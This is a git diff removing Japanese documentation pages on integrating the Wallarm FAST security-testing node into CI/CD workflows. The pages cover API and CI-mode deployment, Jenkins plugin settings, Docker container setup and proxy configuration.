[ベースラインリクエストを記録する場合のAPI経由でのデプロイ][anchor-recording] -2. [事前記録済みのベースラインリクエストを使用する場合のAPI経由でのデプロイ][anchor-no-recording] - - -## ベースラインリクエストを記録する場合のAPI経由でのデプロイ - -このシナリオでは、[テストラン][doc-testrun]が作成されます。ベースラインリクエストは、テストランに対応するテストレコードに記録されます。 - -対応するワークフローの手順は次のとおりです。 - -1. 対象アプリケーションのビルドとデプロイ - -2. FAST nodeのデプロイとセットアップ - - 1. [FAST nodeを含むDockerコンテナのデプロイ][doc-container-deployment] - - 2. [テストランの作成][doc-testrun-creation] - - これらの操作を実行した後、FAST nodeがベースラインリクエストの記録プロセスを開始できる状態であることを確認します。 - -3. テストツールの準備とセットアップ - - 1. テストツールのデプロイと基本設定の実施 - - 2. [FAST nodeをプロキシサーバーとして構成][doc-proxy-configuration] - -4. 既存のテストを実行 - - 最初のベースラインリクエストを受信すると、FAST nodeはセキュリティテストセットの作成と実行を開始します。 - -5. ベースラインリクエストの記録プロセスの停止 - - すべての既存のテストが実行された後に、記録プロセスを[停止する必要があります][doc-stopping-recording]。 - - これで、記録済みのベースラインリクエストを保持する[テストレコード][doc-testrecord]は、既に記録されたベースラインリクエストを用いるCI/CDワークフローで再利用する準備が整いました。 - -6. FASTのセキュリティテストの完了待ち - - APIリクエストを実行して、テストランのステータスを定期的に確認します。これにより、[セキュリティテストが完了したかどうかを判断できます][doc-waiting-for-tests]。 - -7. テスト結果の取得 - -このシナリオを次の図に示します。 - -![リクエストの記録を伴うCI/CDジョブの例][img-sample-job-recording] - - -## 事前記録済みのベースラインリクエストを使用する場合のAPI経由でのデプロイ - -このシナリオでは、テストランをコピーします。コピー時に、既存のテストレコードIDをテストランに渡します。テストレコードは、ベースラインリクエストの記録を伴うCI/CDワークフローで取得します。 - -対応するワークフローの手順は次のとおりです。 - -1. 対象アプリケーションのビルドとデプロイ - -2. FAST nodeのデプロイとセットアップ - - 1. [FAST nodeを含むDockerコンテナのデプロイ][doc-container-deployment] - - 2. [テストランのコピー][doc-testrun-copying] - -3. FAST nodeで、指定されたテストレコードからベースラインリクエストを抽出 - -4. FAST nodeで対象アプリケーションのセキュリティテストを実施 - -5. FASTのセキュリティテストの完了待ち - - APIリクエストを実行して、テストランのステータスを定期的に確認します。これにより、[セキュリティテストが完了したかどうかを判断できます][doc-waiting-for-tests]。 - -6. テスト結果の取得 - -![事前記録済みリクエストを使用するCI/CDジョブの例][img-sample-job-no-recording] - - -## FAST nodeコンテナのライフサイクル（API経由でのデプロイ） - -このシナリオでは、FAST nodeを含むDockerコンテナは、対象のCI/CDジョブにつき1回だけ実行され、ジョブの終了時に削除されることを前提とします。 - -動作中に重大なエラーが発生しない場合、FAST nodeは無限ループで動作し、新しいテストランとベースラインリクエストを待機して対象アプリケーションを再度テストします。 - -CI/CDジョブが終了したら、FAST nodeを含むDockerコンテナはCI/CDツールで明示的に停止する必要があります。 - - -必要に応じて、[「FASTを用いたCI/CDワークフロー」][doc-integration-overview]のドキュメントを参照してください。 \ No newline at end of file diff --git a/docs/latest-ja/fast/poc/integration-overview-ci-mode.md b/docs/latest-ja/fast/poc/integration-overview-ci-mode.md deleted file mode 100644 index 5c62bdda29..0000000000 --- a/docs/latest-ja/fast/poc/integration-overview-ci-mode.md +++ /dev/null @@ -1,72 +0,0 @@ -[img-sample-job-ci-mode]: ../../images/fast/poc/en/integration-overview/sample-job-ci-mode.png - -[doc-recording-mode]: ci-mode-recording.md#running-a-fast-node-in-recording-mode -[doc-testing-mode]: ci-mode-testing.md#running-a-fast-node-in-testing-mode -[doc-proxy-configuration]: proxy-configuration.md -[doc-fast-container-stopping]: ci-mode-recording.md#stopping-and-removing-the-docker-container-with-the-fast-node-in-recording-mode -[doc-recording-variables]: ci-mode-recording.md#environment-variables-in-recording-mode -[doc-integration-overview]: integration-overview.md - - -# FAST nodeによる統合: 原則と手順 - -CIモードでセキュリティテストを実施するには、FAST nodeを次の2つのモードで順番に実行する必要があります: -1. [記録モード][doc-recording-mode] -2. [テストモード][doc-testing-mode] - -`CI_MODE`環境変数はFAST nodeの動作モードを定義します。この変数には次の値を設定できます: -* `recording` -* `testing` - -このシナリオでは、FAST nodeは最初にテストレコードを作成し、ベースラインリクエストを書き込みます。記録が完了すると、ノードは事前に記録されたベースラインリクエストを基礎として使用するテスト実行を作成し、その上でセキュリティテストを行います。 - -このシナリオを以下の図に示します: - -![CIモードでFAST nodeを用いたCI/CDジョブの例][img-sample-job-ci-mode] - -対応するワークフローの手順は次のとおりです: - -1. 対象アプリケーションのビルドとデプロイ。 - -2. [FAST nodeを記録モードで実行する][doc-recording-mode]。 - - 記録モードでは、FAST nodeは次の処理を行います: - - * リクエストの送信元から対象アプリケーションへのベースラインリクエストをプロキシします。 - * これらのベースラインリクエストをテストレコードに記録し、後でそれらに基づくセキュリティテストセットを作成します。 - - !!! info "テスト実行に関する注意" - 記録モードではテスト実行は作成されません。 - -3. テストツールの準備とセットアップ: - - 1. テストツールのデプロイと基本設定の実施。 - - 2. [FAST nodeをプロキシサーバとして構成する][doc-proxy-configuration]。 - -4. 既存のテストを実行します。 - - FAST nodeは対象アプリケーションへのベースラインリクエストをプロキシし、記録します。 - -5. FAST nodeコンテナの停止と削除。 - - FAST nodeが動作中に致命的なエラーに遭遇しない場合は、[`INACTIVITY_TIMEOUT`][doc-recording-variables]タイマーが満了するか、CI/CDツールが明示的にコンテナを停止するまで動作します。 - - 既存のテストが完了したら、FAST nodeを[停止する必要があります][doc-fast-container-stopping]。これにより、ベースラインリクエストの記録プロセスが停止します。その後、ノードコンテナは削除できます。 - -6. [FAST nodeをテストモードで実行する][doc-testing-mode]。 - - テストモードでは、FAST nodeは次の処理を行います: - - * 手順4で記録したベースラインリクエストに基づいてテスト実行を作成します。 - * セキュリティテストセットの作成と実行を開始します。 - -7. テスト結果の取得。FAST nodeコンテナの停止。 - - FAST nodeが動作中に致命的なエラーに遭遇しない場合、セキュリティテストが完了するまで動作します。ノードは自動的にシャットダウンします。その後、ノードコンテナは削除できます。 - -## FAST nodeコンテナのライフサイクル (CIモードによるデプロイ) - -このシナリオでは、FAST nodeを含むDockerコンテナはまず記録モードで実行され、その後テストモードで実行されることを前提としています。 - -いずれのモードでもFAST nodeの実行が終了したら、ノードコンテナは削除されます。言い換えると、動作モードが切り替わるたびにFAST nodeコンテナは再作成されます。 \ No newline at end of file diff --git a/docs/latest-ja/fast/poc/integration-overview.md b/docs/latest-ja/fast/poc/integration-overview.md deleted file mode 100644 index f88721fcb1..0000000000 --- a/docs/latest-ja/fast/poc/integration-overview.md +++ /dev/null @@ -1,70 +0,0 @@ -[doc-integration-api]: integration-overview-api.md -[doc-integration-ci-mode]: integration-overview-ci-mode.md -[doc-concurrent-pipelines]: ci-mode-concurrent-pipelines.md - -[img-api-mode]: ../../images/fast/poc/en/integration-overview/api-mode-common.png -[img-ci-mode]: ../../images/fast/poc/en/integration-overview/ci-mode-common.png -[img-ci-mode-build-id]: ../../images/fast/poc/en/integration-overview/ci-build-id-common.png - -[anchor-build-id]: #deploying-the-fast-node-with-ci-mode-for-use-in-concurrent-cicd-workflows - -[doc-qsg]: ../qsg/deployment-options.md - -# FASTを使用したCI/CDワークフロー - -FASTをCI/CDワークフローに統合すると、既存のCI/CDワークフローにいくつかの追加手順が加わります。これらの手順は、既存のCI/CDジョブの一部にも、別個のジョブにもできます。 - -具体的な追加手順は、採用するテスト実行の作成シナリオによって異なります。考えられるシナリオを以下に説明します。 - -## Wallarm API経由の統合（別名「API経由のデプロイ」） - -このシナリオでは、FAST nodeはWallarm API経由で管理します。APIはテスト実行の管理にも使用します。FAST nodeはベースラインリクエストを記録することも、既に記録済みのベースラインリクエストを用いて動作することもできます: - -![API経由の統合][img-api-mode] - -このシナリオでは、FASTは次のように動作します: -* 1つのFAST nodeのDockerコンテナは、1つの対応するcloud FAST nodeに紐づきます。FAST nodeのコンテナを同時に複数実行するには、デプロイを予定しているコンテナ数と同数のcloud FAST nodeおよびトークンが必要です。 -* cloud FAST nodeに対して新しいFAST nodeを作成すると、そのcloud nodeに既に紐づいている別のFAST nodeのテスト実行は中断されます。 -* テストポリシーとテストレコードは、複数のテスト実行やFAST nodeで使用できます。 - -このケースでのFASTの統合方法の詳細は[こちらのドキュメント][doc-integration-api]をご参照ください。 - -## FAST node経由の統合（別名「CI MODEによるデプロイ」） - -このシナリオでは、FAST nodeはテストモードと記録モードで使用します。ノードのコンテナをデプロイする際に環境変数`CI_MODE`を設定して、動作モードを切り替えます。FAST node自身がテスト実行を管理するため、CI/CDツールがWallarm APIとやり取りする必要はありません。 - -このシナリオの概略は、以下の図をご覧ください: - -![CI MODEでの統合][img-ci-mode] - -このシナリオでは、FASTは次のように動作します: -* 1つのFAST nodeのDockerコンテナは、1つの対応するcloud FAST nodeに紐づきます。FAST nodeのコンテナを同時に複数実行するには、デプロイを計画しているコンテナ数と同数のcloud FAST nodeおよびトークンが必要です。 - 同時実行のCI/CDワークフローで多数のFAST nodeを正しくデプロイするには、CI MODE[以下で説明][anchor-build-id]に類似した別のアプローチを使用する必要があります。 -* cloud FAST nodeに対して新しいFAST nodeを作成すると、そのcloud nodeに既に紐づいている別のFAST nodeのテスト実行は中断されます。 -* テストポリシーとテストレコードは、複数のテスト実行やFAST nodeで使用できます。 - -このケースでのFASTの統合方法の詳細は[こちらのドキュメント][doc-integration-ci-mode]をご参照ください。 - - -### 同時実行のCI/CDワークフローで使用するためのCI MODEによるFAST nodeのデプロイ - -同時実行のCI/CDワークフローに適した形でFAST nodeをデプロイするには、上述のとおりCI MODEを使用し、追加の環境変数`BUILD_ID`をノードのコンテナに渡します。 - -パラメータ`BUILD_ID`により、単一のcloud FAST nodeを使用しながら複数の異なるテストレコードに記録でき、後でこれらのテストレコードを再利用して複数のテスト実行を同時に開始できます。 - -このシナリオの概略は、以下の図をご覧ください: - -![BUILD_IDによる統合][img-ci-mode-build-id] - -このシナリオでは、FASTは次のように動作します: -* 複数のFAST nodeが単一のcloud FAST nodeを介して動作し、同時実行のCI/CDワークフローで利用できます。これらすべてのFAST nodeでは**同一のトークンが使用されます**。 -* テスト実行は、`BUILD_ID`識別子が異なる別々のテストレコードを使用します。 -* これらのテスト実行は並行して実行され、必要に応じて異なるテストポリシーを適用できます。 - -同時実行のCI/CDワークフローでFASTを使用する方法の詳細な説明は[こちらのドキュメント][doc-concurrent-pipelines]をご参照ください。 - - -!!! info "HTTPSのサポート" - この手順では、HTTPプロトコルで動作するアプリケーションをテストするためのFASTとCI/CDの統合について説明します。 - - FAST nodeは、HTTPSプロトコルで動作するアプリケーションのテストもサポートします。詳細は[クイックスタートガイド][doc-qsg]に記載しています。 \ No newline at end of file diff --git a/docs/latest-ja/fast/poc/jenkins-plugin.md b/docs/latest-ja/fast/poc/jenkins-plugin.md deleted file mode 100644 index 309a43b48d..0000000000 --- a/docs/latest-ja/fast/poc/jenkins-plugin.md +++ /dev/null @@ -1,134 +0,0 @@ -[fast-node-token]: ../operations/create-node.md -[fast-ci-mode-record]: ci-mode-recording.md#environment-variables-in-recording-mode - -[mail-to-us]: mailto:support@wallarm.com -[fast-examples-github]: https://github.com/wallarm/fast-examples - -[jenkins-plugin-wallarm-fast]: https://plugins.jenkins.io/wallarm-fast/ - -[jenkins-plugin-install]: ../../images/fast/poc/common/examples/jenkins-plugin/jenkins-plugin-install.png -[jenkins-plugin-record-params]: ../../images/fast/poc/common/examples/jenkins-plugin/jenkins-plugin-record-params.png -[jenkins-plugin-playback-params]: ../../images/fast/poc/common/examples/jenkins-plugin/jenkins-plugin-playback-params.png -[jenkins-manage-plugin]: https://jenkins.io/doc/book/managing/plugins/ -[fast-example-jenkins-plugin-result]: ../../images/fast/poc/common/examples/jenkins-plugin/jenkins-plugin-result.png -[fast-jenkins-cimode]: examples/jenkins-cimode.md - -# JenkinsとのWallarm FASTプラグインの統合 - -!!! warning "互換性" - Wallarm FASTプラグインはJenkinsのFreestyleプロジェクトでのみ動作します。 - - プロジェクトがPipelineタイプの場合は、[FASTノード経由でJenkinsと統合する例][fast-jenkins-cimode]をご確認ください。 - -## ステップ1: プラグインのインストール - -Plugin Managerを使用して、Jenkinsプロジェクトに[Wallarm FASTプラグイン][jenkins-plugin-wallarm-fast]をインストールします。プラグイン管理の詳細は[Jenkinsの公式ドキュメント][jenkins-manage-plugin]に記載されています。 - -![Wallarm FASTプラグインのインストール][jenkins-plugin-install] - -インストール中に問題が発生した場合は、プラグインを手動でビルドしてください。 - -??? info "Wallarm FASTプラグインの手動ビルド" - Wallarm FASTプラグインを手動でビルドするには、次の手順に従ってください。 - - 1. [Maven](https://maven.apache.org/install.html)のCLIがインストールされていることを確認します。 - 2. 次のコマンドを実行します。 - ``` - git clone https://github.com/jenkinsci/wallarm-fast-plugin.git - cd wallarm-fast-plugin - mvn package - ``` - - コマンドが正常に完了すると、`target`ディレクトリに`wallarm-fast.hpi`プラグインファイルが生成されます。 - - 3. [Jenkinsの手順](https://jenkins.io/doc/book/managing/plugins/#advanced-installation)に従って`wallarm-fast.hpi`プラグインをインストールします。 - -## ステップ2: 記録およびテストのステップの追加 - -!!! info "設定済みワークフロー" - 以降の手順では、設定済みのJenkinsワークフローが次のいずれかに該当している必要があります。 - - * テストの自動化が実装されていること。この場合、[リクエスト記録](#adding-the-step-of-request-recording)および[セキュリティテスト](#adding-the-step-of-security-testing)のステップを追加します。 - * ベースラインリクエストのセットが記録されていること。この場合、[セキュリティテスト](#adding-the-step-of-security-testing)のステップを追加します。 - -### リクエスト記録のステップを追加する {#adding-the-step-of-request-recording} - -リクエスト記録のステップを追加するには、**Build**タブで`Record baselines`モードを選択し、以下の変数を設定します。リクエスト記録のステップは、アプリケーションの自動テストのステップより前に追加する必要があります。 - -!!! warning "ネットワーク" - リクエストを記録する前に、FASTプラグインと自動テストツールが同一ネットワーク上にあることを確認してください。 - -??? info "記録モードの変数" - - | 変数 | 値 | 必須 | - |-------------------- | -------- | ----------- | - | `Wallarm API token` | Wallarmクラウドのトークン。 | はい | - | `Wallarm API host` | Wallarm APIサーバーのアドレス。
        許可される値:
        Wallarm USクラウドのサーバーには`us1.api.wallarm.com`、
        Wallarm EUクラウドのサーバーには`api.wallarm.com`。
        デフォルト値は`us1.api.wallarm.com`。 | いいえ | - | `Application host` | テストアプリケーションのアドレス。IPアドレスまたはドメイン名を指定できます。 | はい | - | `Application port` | テストアプリケーションのポート。デフォルト値は8080。 | いいえ | - | `Fast port` | FASTノードのポート。 | はい | - | `Inactivity timeout` | この間にFASTノードにベースラインリクエストが到着しない場合、記録処理とFASTノードは停止します。
        許可される範囲: 1秒から1週間。
        値は秒単位で指定します。
        デフォルト値: 600秒（10分）。 | いいえ | - | `Fast name` | FASTノードのDockerコンテナ名。 | いいえ | - | `Wallarm version` | 使用するFASTノードのバージョン。 | いいえ | - | `Local docker network` | FASTノードを実行するDockerネットワーク。 | いいえ | - | `Local docker ip` | 実行中のFASTノードに割り当てるIPアドレス。 | いいえ | - | `Without sudo` | FASTノードのコマンドを、FASTノードを実行するユーザー権限で実行するかどうか。デフォルトでは、スーパーユーザー権限（sudo経由）で実行されます。 | いいえ | - -**リクエスト記録用に構成されたプラグインの例:** - -![リクエスト記録のためのプラグイン設定例][jenkins-plugin-record-params] - -次に、FASTノードをプロキシとして追加して自動テストのステップを更新します。 - -テストが完了すると、FASTプラグインは自動的にリクエスト記録を停止します。 - -### セキュリティテストのステップを追加する {#adding-the-step-of-security-testing} - -セキュリティテストのステップを追加するには、**Build**タブで`Playback baselines`モードを選択し、以下の変数を設定します。 - -セキュリティテストを実行する前に、アプリケーションが起動済みでテスト可能な状態である必要がある点にご注意ください。 - -!!! warning "ネットワーク" - セキュリティテストの前に、FASTプラグインとアプリケーションが同一ネットワーク上にあることを確認してください。 - -??? info "テストモードの変数" - - | 変数 | 値 | 必須 | - |-------------------- | -------- | ----------- | - | `Wallarm API token` | Wallarmクラウドのトークン。 | はい | - | `Wallarm API host` | Wallarm APIサーバーのアドレス。
        許可される値:
        Wallarm USクラウドのサーバーには`us1.api.wallarm.com`、
        Wallarm EUクラウドのサーバーには`api.wallarm.com`
        デフォルト値は`us1.api.wallarm.com`。 | いいえ | - | `Application host` | テストアプリケーションのアドレス。IPアドレスまたはドメイン名を指定できます。 | はい | - | `Application port` | テストアプリケーションのポート。デフォルト値は8080。 | いいえ | - | `Policy id` | [テストポリシー](../operations/test-policy/overview.md)のID。
        デフォルト値は`0`-`Default Test Policy`。 | いいえ | - | `TestRecord id` | テストレコードID。[TEST_RECORD_ID](ci-mode-testing.md#environment-variables-in-testing-mode)に対応します。
        デフォルト値は、使用しているFASTノードで最後に作成されたテストレコードです。| いいえ | - | `TestRun RPS` | 対象アプリケーションに送信するテストリクエスト数（RPS、Requests per Second）の上限。
        最小値: `1`。
        最大値: `500`。
        デフォルト値: `null`（RPSは無制限）。| いいえ | - | `TestRun name` | テスト実行の名前。
        デフォルトでは、テスト実行作成日時から自動生成されます。| いいえ | - | `TestRun description` | テスト実行の説明。| いいえ | - | `Stop on first fail` | エラーが発生した時点でテストを停止するかどうか。 | いいえ | - | `Fail build` | セキュリティテストで脆弱性が見つかった場合に、ビルドをエラーで終了するかどうか。 | いいえ | - | `Exclude` | セキュリティテストから除外するファイル拡張子の一覧。
        拡張子の区切りには記号ǀを使用します。
        デフォルトでは除外はありません。| いいえ | - | `Fast name` | FASTノードのDockerコンテナ名。 | いいえ | - | `Wallarm version` | 使用するFASTノードのバージョン。 | いいえ | - | `Local docker network` | FASTノードを実行するDockerネットワーク。 | いいえ | - | `Local docker ip` | 実行中のFASTノードに割り当てるIPアドレス。 | いいえ | - | `Without sudo` | FASTノードのコマンドを、FASTノードを実行するユーザー権限で実行するかどうか。デフォルトでは、スーパーユーザー権限（sudo経由）で実行されます。 | いいえ | - - !!! warning "FASTノードの実行" - リクエスト記録のステップとセキュリティテストのステップの両方をワークフローに追加する場合、FASTノードのDockerコンテナ名は互いに異なる必要がある点にご注意ください。 - -**セキュリティテスト用に構成されたプラグインの例:** - -![セキュリティテストのためのプラグイン設定例][jenkins-plugin-playback-params] - -## ステップ3: テスト結果の取得 - -セキュリティテストの結果はJenkinsのインターフェイスに表示されます。 - -![FASTプラグインの実行結果][fast-example-jenkins-plugin-result] - -## その他の例 - -FASTをCircleCIのワークフローに統合する例は、[GitHub][fast-examples-github]で参照できます。 - -!!! info "不明点がある場合" - FASTの統合に関するご質問がある場合は、[こちら][mail-to-us]までご連絡ください。 \ No newline at end of file diff --git a/docs/latest-ja/fast/poc/node-deployment.md b/docs/latest-ja/fast/poc/node-deployment.md deleted file mode 100644 index 7feb507a62..0000000000 --- a/docs/latest-ja/fast/poc/node-deployment.md +++ /dev/null @@ -1,150 +0,0 @@ -[anchor-node]: #deployment-of-the-docker-container-with-the-fast-node -[anchor-testrun]: #obtaining-a-test-run -[anchor-testrun-creation]: #creating-a-test-run -[anchor-testrun-copying]: #copying-a-test-run - -[doc-limit-requests]: ../operations/env-variables.md#limiting-the-number-of-requests-to-be-recorded -[doc-get-token]: prerequisites.md#anchor-token -[doc-testpolicy]: ../operations/internals.md#fast-test-policy -[doc-inactivity-timeout]: ../operations/internals.md#test-run -[doc-allowed-hosts-example]: ../qsg/deployment.md#3-prepare-a-file-containing-the-necessary-environment-variables -[doc-testpolicy-creation-example]: ../qsg/test-preparation.md#2-create-a-test-policy-targeted-at-xss-vulnerabilities -[doc-docker-run-fast]: ../qsg/deployment.md#4-deploy-the-fast-node-docker-container -[doc-state-description]: ../operations/check-testrun-status.md -[doc-testing-scenarios]: ../operations/internals.md#test-run -[doc-testrecord]: ../operations/internals.md#test-record -[doc-create-testrun]: ../operations/create-testrun.md -[doc-copy-testrun]: ../operations/copy-testrun.md -[doc-waiting-for-tests]: waiting-for-tests.md - -[link-wl-portal-new-policy]: https://us1.my.wallarm.com/testing/policies/new#general - -[link-docker-envfile]: https://docs.docker.com/engine/reference/commandline/run/#set-environment-variables--e---env---env-file -[link-docker-run]: https://docs.docker.com/engine/reference/commandline/run/ -[link-docker-rm]: https://docs.docker.com/engine/reference/run/#clean-up---rm - -[doc-integration-overview]: integration-overview.md -[doc-integration-overview-api]: integration-overview-api.md - - -# Wallarm API経由でFASTノードを実行する - -!!! info "本章の前提条件" - 本章の手順に従うには、[トークン][doc-get-token]を取得する必要があります。 - - 本章全体で以下の値を例として使用します。 - - * トークンは`token_Qwe12345`です。 - * テストランの識別子は`tr_1234`です。 - * テストレコードの識別子は`rec_0001`です。 - -FASTノードの実行と構成は次の手順で行います: -1. [FASTノードを含むDockerコンテナのデプロイ][anchor-node] -2. [テストランの取得][anchor-testrun] - -## FASTノードを含むDockerコンテナのデプロイ - -!!! warning "Wallarm APIサーバへのアクセスを許可してください" - FASTノードが正しく動作するためには、HTTPSプロトコル（`TCP/443`）で`us1.api.wallarm.com`または`api.wallarm.com`のWallarm APIサーバへアクセスできることが重要です。 - - ファイアウォールがDockerホストからWallarm APIサーバへのアクセスを制限していないことを確認してください。 - -FASTノード入りのDockerコンテナを実行する前に、いくつか設定が必要です。ノードを構成するには、`WALLARM_API_TOKEN`環境変数を使用してトークンをコンテナに渡します。さらに、記録対象のリクエスト数を[制限する必要がある][doc-limit-requests]場合は、`ALLOWED_HOSTS`変数も使用できます。 - -環境変数をコンテナへ渡すには、変数をテキストファイルに記述し、[`docker run`][link-docker-run]コマンドの[`--env-file`][link-docker-envfile]パラメータでそのファイルパスを指定します（「Quick Start」ガイドの[手順][doc-docker-run-fast]を参照してください）。 - -次のコマンドを実行してFASTノードのコンテナを起動します: - -``` -docker run \ ---rm \ ---name \ ---env-file= \ --p :8080 \ -wallarm/fast -``` - -このガイドでは、コンテナは該当のCI/CDジョブで一度だけ実行され、ジョブ終了時に削除されることを前提としています。そのため、上記のコマンドには[`--rm`][link-docker-rm]パラメータを追加しています。 - -コマンドの各パラメータの[詳細な説明][doc-docker-run-fast]は「Quick Start」ガイドをご参照ください。 - -??? info "例" - この例では、FASTノードが`token_Qwe12345`というトークンを使用し、`Host`ヘッダーの値に`example.local`を含むすべての受信ベースラインリクエストを記録するように設定されていることを想定します。 - - 環境変数を記述したファイルの内容は次のとおりです。 - - | fast.cfg | - | -------- | - | `WALLARM_API_TOKEN=token_Qwe12345`
        `ALLOWED_HOSTS=example.local` | - - 以下のコマンドは`fast-poc-demo`という名前のDockerコンテナを次の動作で起動します。 - - * 処理完了後にコンテナが削除されます。 - * 環境変数は`fast.cfg`ファイルを使用してコンテナに渡されます。 - * コンテナの`8080`ポートがDockerホストの`9090`ポートに公開されます。 - - ``` - docker run --rm --name fast-poc-demo --env-file=fast.cfg -p 9090:8080 wallarm/fast - ``` - -FASTノードのデプロイが成功すると、コンテナのコンソールおよびログファイルに次の情報メッセージが出力されます: - -``` -[info] Node connected to Wallarm Cloud -[info] Waiting for TestRun to check… -``` - -これでFASTノードはDockerホストのIPアドレスおよび`docker run`コマンドの`-p`パラメータで指定したポートで待ち受けています。 - -## テストランの取得 - -テストランを[作成][anchor-testrun-creation]するか、[コピー][anchor-testrun-copying]する必要があります。選択は、利用する[テストラン作成シナリオ][doc-testing-scenarios]によって決まります。 - -### テストポリシー識別子の取得 - -独自の[テストポリシー][doc-testpolicy]を使用する予定の場合は、[作成][link-wl-portal-new-policy]してポリシーの識別子を取得してください。後でテストランを作成またはコピーするAPI呼び出しで、その識別子を`policy_id`パラメータに渡します。 - -デフォルトのテストポリシーを使用する場合は、API呼び出しで`policy_id`パラメータを省略してください。 - -!!! info "テストポリシーの例" - 「Quick Start」ガイドには、サンプルのテストポリシーを作成するための[手順][doc-testpolicy-creation-example]が含まれています。 - -### テストランの作成 - -テストランを作成すると、新しい[テストレコード][doc-testrecord]も作成されます。 - -ベースラインリクエストの記録と併行して対象アプリケーションをテストする必要がある場合にこの方法を使用します。 - -!!! info "テストランの作成方法" - 手順の詳細は[こちら][doc-create-testrun]に記載しています。 - -テストラン作成後、リクエストを記録できるようになるまでFASTノードには一定の時間が必要です。 - -テストツールで対象アプリケーションにリクエストを送信する前に、FASTノードが記録可能な状態であることを確認してください。 - -そのために、URL`https://us1.api.wallarm.com/v1/test_run/test_run_id`へGETリクエストを送信してテストランのステータスを定期的に確認します。 - ---8<-- "../include/fast/poc/api-check-testrun-status-recording.md" - -APIサーバへのリクエストが成功すると、サーバからレスポンスが返されます。このレスポンスには、記録プロセスの状態（`ready_for_recording`パラメータの値）などの有用な情報が含まれます。 - -パラメータの値が`true`であれば、FASTノードは記録の準備ができているため、テストツールを起動して対象アプリケーションへリクエスト送信を開始できます。 - -それ以外の場合は、ノードが準備完了になるまで同じAPI呼び出しを繰り返してください。 - -### テストランのコピー - -テストランをコピーする際は、既存の[テストレコード][doc-testrecord]が再利用されます。 - -既に記録済みのベースラインリクエストを使用して対象アプリケーションをテストする必要がある場合にこの方法を用います。 - -!!! info "テストランのコピー方法" - 手順の詳細は[こちら][doc-copy-testrun]に記載しています。 - -テストランが正常に作成されると、FASTノードは直ちにテストを開始します。追加の操作は不要です。 - -## 次のステップ - -テストは完了までに時間がかかる場合があります。FASTによるセキュリティテストが終了したかどうかは[このドキュメント][doc-waiting-for-tests]の情報を利用して判断してください。 - -必要に応じて[「API経由のデプロイ」][doc-integration-overview-api]や[「FASTによるCI/CDワークフロー」][doc-integration-overview]のドキュメントを参照してください。 \ No newline at end of file diff --git a/docs/latest-ja/fast/poc/prerequisites.md b/docs/latest-ja/fast/poc/prerequisites.md deleted file mode 100644 index a5bb91d559..0000000000 --- a/docs/latest-ja/fast/poc/prerequisites.md +++ /dev/null @@ -1,42 +0,0 @@ -[link-wl-portal-us]: https://us1.my.wallarm.com -[link-wl-portal-eu]: https://my.wallarm.com -[link-selenium]: https://www.seleniumhq.org/ - -[doc-create-node]: ../operations/create-node.md -[doc-about-token]: ../operations/internals.md#token -[doc-integration-overview]: integration-overview.md - - -# インテグレーションの前提条件 - -FASTをCI/CDワークフローに統合するには、次が必要です。 - -* WallarmアカウントとFASTノードの管理へのアクセスを得るために、[Wallarm営業チーム](mailto:sales@wallarm.com)に連絡してください。 -* FASTノードのDockerコンテナが、HTTPSプロトコル（`TCP/443`）でWallarm APIサーバー`us1.api.wallarm.com`にアクセスできる必要があります ---8<-- "../include/fast/cloud-note.md" - - * CI/CDワークフローでDockerコンテナを作成して実行するための権限が必要です。 - -* 脆弱性をテストするためのWebアプリケーションまたはAPI（*対象アプリケーション*） - - このアプリケーションは通信にHTTPまたはHTTPSプロトコルを使用する必要があります。 - - 対象アプリケーションは、FASTによるセキュリティテストが完了するまで利用可能な状態を維持する必要があります。 - -* HTTPおよびHTTPSリクエストを使用して対象アプリケーションをテストするテストツール（*リクエストソース*）。 - - リクエストソースは、HTTPまたはHTTPSのプロキシサーバーで動作できる必要があります。 - - [Selenium][link-selenium]は、上記の要件を満たすテストツールの一例です。 - -* 1つ以上の[トークン][doc-about-token]。 -

        - - Wallarm Cloudで[FASTノードを作成][doc-create-node]し、CI/CDタスクを実行する際にDockerコンテナで対応するトークンを使用してください。 - - トークンは、CI/CDジョブの実行中にFASTノードを実行するDockerコンテナによって使用されます。 - - 複数のCI/CDジョブが同時に実行されている場合は、Wallarm Cloudに適切な数のFASTノードを作成してください。 - - !!! info "トークンの例" - このガイド全体で、`token_Qwe12345`の値をトークンの例として使用しています。 \ No newline at end of file diff --git a/docs/latest-ja/fast/poc/proxy-configuration.md b/docs/latest-ja/fast/poc/proxy-configuration.md deleted file mode 100644 index f95de641f3..0000000000 --- a/docs/latest-ja/fast/poc/proxy-configuration.md +++ /dev/null @@ -1,23 +0,0 @@ -[doc-node-deployment-api]: node-deployment.md -[doc-fast-recording-mode]: ci-mode-recording.md#running-a-fast-node-in-recording-mode - -[doc-integration-overview]: integration-overview.md - - -# プロキシルールの設定 - -!!! warning "注意" - FASTノードを[API][doc-node-deployment-api]または[CIモード(記録モード)][doc-fast-recording-mode]でデプロイする場合にのみ、本章の手順を実施してください。 - -対象アプリケーションに送信されるすべてのリクエストについて、リクエストの送信元がFASTノードをHTTPプロキシとして使用するように設定します。 - -CI/CDインフラストラクチャがFASTノードのDockerコンテナとどのように連携しているかに応じて、次のいずれかの方法でノードを指定できます: -* IPアドレス。 -* ドメイン名。 - -!!! info "例" - テストツールがLinuxのDockerコンテナとして実行されている場合、次の環境変数をコンテナに渡すことで、そのコンテナからのすべてのHTTPリクエストをFASTノード経由でプロキシできます: - - ``` - HTTP_PROXY=http://: - ``` \ No newline at end of file diff --git a/docs/latest-ja/fast/poc/stopping-recording.md b/docs/latest-ja/fast/poc/stopping-recording.md deleted file mode 100644 index c59d101cef..0000000000 --- a/docs/latest-ja/fast/poc/stopping-recording.md +++ /dev/null @@ -1,27 +0,0 @@ -[doc-get-token]: prerequisites.md#anchor-token -[doc-get-testrun-id]: node-deployment.md#obtaining-a-test-run - -[doc-about-recording]: ../operations/internals.md#test-run -[doc-stop-recording]: ../operations/stop-recording.md#stopping-the-recording-process-via-api -[doc-waiting-for-tests]: waiting-for-tests.md - -[doc-integration-overview]: integration-overview.md - -# 記録プロセスの停止 - -!!! info "章の前提条件" - この章の手順に従うには、以下を取得する必要があります。 - - * [トークン][doc-get-token] - * テスト実行の[識別子][doc-get-testrun-id] - - 本章を通して以下の値を例として使用します。 - - * `token_Qwe12345` はトークンです - * `tr_1234` はテスト実行の識別子です - -[こちら][doc-stop-recording]に記載の手順に従ってAPI経由でベースラインリクエストの記録プロセスを停止してください。 - -記録プロセスを停止した後も、対象アプリケーションに対する脆弱性検査の実行には長時間かかる場合があります。FASTセキュリティテストが完了したかどうかを判断するには、[このドキュメント][doc-waiting-for-tests]の情報を使用してください。 - - 